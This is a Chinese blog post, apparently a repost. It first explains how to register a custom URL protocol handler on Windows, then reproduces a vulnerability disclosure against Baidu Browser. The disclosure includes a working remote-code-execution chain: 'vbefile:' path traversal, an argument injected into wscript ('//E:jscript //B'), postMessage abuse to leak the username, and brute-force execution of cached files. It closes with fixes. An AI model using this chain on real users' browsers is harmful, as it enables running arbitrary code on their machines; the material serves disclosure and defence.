瀏覽器安全-初學篇


  最近每天都會抽出點時間來研究瀏覽器的安全問題,比較幸運,公司也來了一個超級大牛,之前在微軟的,后來在某瀏覽器擔任研發總監。

又看了數據流的,自己挖掘了一個foxmail遠程命令執行,昨天在學習瀏覽器安全的時候,看到2個非常不錯的網站。

一個是二哥提交的一個漏洞,一個是JAVA制作自己的偽協議,解惑了自己多年的問題。

=================================================

通過自定義URL協議在Web中啟動本地應用程序

1、注冊應用程序來處理自定義協議

     你必須添加一個新的key以及相關的value到HKEY_CLASSES_ROOT中,來使應用程序可以處理特殊的URL協議。

     新注冊的key必須與協議scheme相匹配才可以被添加。例如,增加一個“alert:”協議,被增加到HKEY_CLASSES_ROOT的key必須是alert。在這個新的key之下,默認的字符串value將顯示新協議的名字,並且URL協議字符串value將包含協議特有的信息或者空字符串。Keys將同樣被添加到DefaultIcon和shell中。

     默認的DefaultIcon key的字符串value必須是新URL協議圖標文件名的路徑。

     在shell key之下,一個key使用一個動詞(就像open)將被添加。一個command(命令) key和一個DDEEXEC(動態數據交換執行) key都是使用動詞來添加的。這command和DDEEXEC keys之后的values都是用來調用(或者啟動)處理新協議的應用程序。

 

2、啟動處理程序

     當一個用戶點擊一個注冊了你的自定義URL協議的鏈接后,Windows Internet Explorer(IE)啟動注冊的URL協議的處理器。如果指定shellopen命令在注冊表中包含一個%1參數的話,Internet Explorer傳遞這個URI給注冊協議的處理器。這最后的統一資源標識符(URI)被編碼(%1);即16進制換碼符被轉換為等價的UTF-16字符。例如,用%20字符串取代空格。

     安全警示:應用程序處理URL協議必須全力面對惡意數據。因為處理程序接收來自不信任源的數據,URL和其它參數值傳遞給應用程序可能包含的惡意數據企圖使用處理程序。因此,處理程序可以首先啟動基於外部數據的空閑行為確認這些行為以及它們的用戶。

 

3、示例

     接下來的例子演示如何注冊alert.exe應用程序,來處理alert協議。

       首先我們可以新建一個txt文件,寫入內容如下:

 1 Windows Registry Editor Version 5.00
 2 
 3  
 4 
 5 [HKEY_CLASSES_ROOT\alert]
 6 
 7 @="URL:alert Protocol"
 8 
 9 "URL Protocol"="C:\\Program Files\\Alert\\alert.exe"
10 
11  
12 
13 [HKEY_CLASSES_ROOT\\alert\\DefaultIcon]
14 
15 @="C:\Program Files\Alert\alert.exe"
16 
17  
18 
19 [HKEY_CLASSES_ROOT\\alert\\shell]
20 
21 @="open"
22 
23  
24 
25 [HKEY_CLASSES_ROOT\\alert\\shell\\open]
26 
27 @="open"
28 
29  
30 
31 [HKEY_CLASSES_ROOT\\alert\shell\\open\\command]
32 
33 @="\"C:\\Program Files\\Alert\\alert.exe\" \"%1\""

 

       注意:a.路徑使用雙杠"\\";b.如果字符串中有雙引號("),那么需要加轉義字符"\"

然后將文件名改為Alert.reg,雙擊本文件執行,將這些項寫入到注冊表。

 

 

    增加這些設置信息到注冊表,嘗試導航到像“alert:Hello%20World”這樣的URLs中,將會嘗試啟動alert.exe程序並且在命令行中傳遞“Hello World”。

 

4、協議處理實例

     下面的代碼包含了一個簡單的C#控制台應用程序演示了一種實現alert協議處理程序的方式:

復制內容到剪貼板 程序代碼

using System;

using System.Collections.Generic;

using System.Text;

namespace Alert1

{

  class Program

  {

    static string ProcessInput(string s)

    {

       // TODO Verify and validate the input 

       // string as appropriate for your application.

       return s;

    }

 

    static void Main(string[] args)

    {

      Console.WriteLine("Alert.exe invoked with the following parameters.\r\n");

      Console.WriteLine("Raw command-line: \n\t" + Environment.CommandLine);

 

      Console.WriteLine("\n\nArguments:\n");

      foreach (string s in args)

      {

        Console.WriteLine("\t" + ProcessInput(s));

      }

      Console.WriteLine("\nPress any key to continue...");

      Console.ReadKey();

    }

  }

}

 

 

5、測試

a、打開記事本,輸入以下代碼,並保存為test.html
<a href="alert://Hello!">點擊這里啟動程序</a>

b、將test.html拖入瀏覽器中打開,本人在Google Chrome中測試的;

c、點擊頁面中的按鈕"點擊這里啟動程序";

d、你發現剛才寫的程序運行了,並且TextBox中顯示"alert://Hello!"。

========================================================

還有二哥的,提供了很多的思路

--------------------------------------------



1. 背景



--------------------------------------------



1.1 webkit系的瀏覽器在調用偽協議時,HKEY_CLASSES_ROOT 下凡是含有 shell/open/command鍵值的條目 都可進行調用。例如, regfile





1.png







location.href="regfile:AAAAAAAAAAAAA";



這樣會調用 -> regedit.exe "%1" 



其中 %1 為 location.href跳轉的值 : regfile:AAAAAAAAAAAAA



也就是說,當我們調用 location.href="regfile:AAAAAAAAAAAAA" 時,瀏覽器會調用



regedit.exe "regfile:AAAAAAAAAAAAA"



1.2 這樣一來,我們直接可以調用系統的某些命令了? 不過chrome為了阻止這種情況,會對這種調用給用戶以足夠的提示信息,由用戶來選擇是否繼續,如下圖所示:



2.png





360瀏覽器也會有提示,



3.png





1.3 然而國內其他一些主流瀏覽器,在這一點的實現上,均沒有這個交互提示。



這樣會帶來一些安全問題。



--------------------------------------------



2. 初步的利用



--------------------------------------------



利用上,我們選擇,



location.href="vbefile:XXXXXXXXXXXX";



同類型的還有 jsefile 、wsffile等,反正這些都是會調用 wscript.exe來進行處理,如下圖所示:



4.png





也就是說,在百度瀏覽器上,我們可以通過調用





location.href="vbefile:XXXXXXXXXXXX";



來調用 wscript.exe "vbefile:XXXXXXXXXXXX"



看起來好像並沒什么用?



如果是這樣呢?



location.href="vbefile:/../1.js"



-->



wscript.exe "vbefile:/../1.js"



你會在瀏覽器里看到下面的提示:



5.png







這說明,如果系統盤里已知路徑下我們能夠寫一個文件,我們就可以通過 location.href="vbefile:/../../../已知路徑/1.js"的方式來執行這個文件。





--------------------------------------------



3. 寫文件?



--------------------------------------------



a. 瀏覽器的特權API下載文件到指定目錄

b. 瀏覽器的緩存目錄



似乎方法二看起來更通用些?百度瀏覽器的緩存目錄位於



C:\Users\用戶名\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Cache



其中緩存文件的名稱為



f_000000 -> f_ffffff



依次遞增。



我們需要知道當前客戶端的用戶名,才能夠得到緩存路徑,用戶名也需要通過瀏覽器提供的特權API來獲取。



--------------------------------------------



3.1 構造惡意緩存文件



--------------------------------------------



http://**.**.**.**/test/all/cache.php



其中大量的A是為了讓文件達到一定大小(貌似文件小了,不會生成一個f_xxxxxx的文件)



可以看到用百度瀏覽器,訪問了cache.php后,cache目錄下生成了一個 f_0001b7



6.png





然后我們執行:



location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'



會看到下面這個錯誤:



7.png





這是因為 wscript在執行腳本文件時,是根據后綴來進行執行的,而緩存文件沒有后綴,所以就會提示“沒有文件擴展”



怎么解決呢?



code 區域
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'

-->

wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7"





我們似乎可以帶入雙引號來閉合 wscript的文件路徑參數,進而引入其它參數:



code 區域
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript "'

-->

wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript ""





其中 //E:jscript 是指定使用jscript引擎來執行該文件。



可以看到,這次,f_0001b7被成功執行。



8.png







--------------------------------------------



3.2 得到用戶名 (具體見之前的漏洞 - http://**.**.**.**/bugs/wooyun-2010-096413)



--------------------------------------------



http://**.**.**.**/app-res.html 可以通過postMessage來執行某些特權操作,其中就包括獲取指定擴展的信息。



code 區域
<iframe id="x" style="display:none" src="http://**.**.**.**/app-res.html"></iframe>

var testAppId='{AE136F90-4FF3-4205-9B12-CCE2254F3B6A}';//內置微信APP
//向 http://**.**.**.**/app-res.html post消息
document.getElementById("x").contentWindow.postMessage('{"type":"getExtById","data":"'+testAppId+'"}',"*")

//接收來自 http://**.**.**.**/app-res.html 所返回的結果(包含用戶名的路徑)
window.addEventListener("message",function(e){
console.log(e);
try{
var m=JSON.parse(e.data);
if(m.type=='extension'||m.type=='plugin'){
var path=m.src;
if(path){
//獲得用戶名后,開始進行緩存的暴力執行
alert(path)
}
}
}catch(e){

}
},false);





--------------------------------------------



3.3 暴力執行緩存文件



--------------------------------------------





由於緩存文件的名字我們並不知道,但cache目錄下的緩存文件名是遞增的,我們可以采取的最通俗的思路,就是從 f_000000開始暴力嘗試去執行,直到執行至我們所生成的緩存。



這就需要解決一個問題,暴力執行每一個緩存文件,會面臨緩存文件執行出錯,緩存文件不存在而報錯等問題,像下面這樣:



9.png





不過,比較幸運的是,wscript提供了一個參數 //B,可以屏蔽掉這些錯誤信息。這樣一來,我們就不用擔心在執行過程中出錯了。將此前的代碼再改進下:



location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript //B "'



接着,如何暴力的去執行每個緩存文件呢?



比如要去嘗試第 0-10000 個緩存文件



思路1:循環創建10000個iframe,每個iframe的location.href嘗試去執行一個緩存文件



缺點:頁面會首先去創建10000個iframe(這會需要花費較長時間,甚至會卡住),然后才開始后面的工作。



思路2:首先建立100個惡意緩存文件(可以更多,時間花銷少)。然后我們執行緩存文件的時候,可以這樣執行,f_000000、f_000064、f_0000c8 。。。(每隔100個來執行),這樣我們只需要創建100個iframe,就可以嘗試執行 0-10000個緩存文件,1000個iframe,就可以嘗試10W個緩存文件了(優先考慮增加惡意緩存文件數量而不是iframe數量)



雖然 f_000000 -> f_ffffff 的范圍看似很大,而實際上能被用到的范圍卻相對較小,本人常年在使用的chrome,cache目錄里 f的最大值僅僅達到6萬。



這說明,大多數情況下,暴力執行的方式是可行的。時間上雖然需要有一定的等待,但多數時候不需要太久。



--------------------------------------------



3.4 漏洞證明



--------------------------------------------



見【測試代碼】里的測試URL 





--------------------------------------------



3.5 更穩定的方式



--------------------------------------------



利用http://**.**.**.**/app-res.html的install的缺陷,這個缺陷,在http://**.**.**.**/bugs/wooyun-2010-096413里報告過,百度也做出了修復,但是有些細節並未處理好,導致可以在本例中結合使用。



a. 判斷ext_url的正則 /^https?:\/\/**.**.**.**/ ,應該是/^https?:\/\/**.**.**.**\//。



所以可以繞過,http://**.**.**.**@**.**.**.**/test/all/1.zip



b. 1.zip已經不能../../了,並且1.zip里也不能包含除png之外的文件了。



但是這里對於我們來說,已經足夠了,能寫png也行。



所以,我們利用 



code 區域
document.getElementById("x").contentWindow.postMessage('{"type":"install","data":{"id":"'+installAppId+'","url":"http://**.**.**.**/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://**.**.**.**@**.**.**.**/test/all/1.zip"}}','*');





會把ext_url的zip包,解壓釋放到一個本地目錄里。



10.png





這個目錄的路徑我們可以得到。



結合上面的location.href='vbefile:/../../../目錄路徑/test.png" //E:jscript "'; 就可以執行test.png里的惡意代碼了。



漏洞證明,見【測試代碼】部分

漏洞證明:

1. 暴力執行緩存的利用方式



11.png





2. 更穩定的方式



12.png





版本:**.**.**.**0

修復方案:

1.在調用外部協議時,開啟交互提示。



2. 修復http://**.**.**.**/app-res.html,對postMessage的origin進行判斷,防止惡意網站進行調用,獲取信息。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM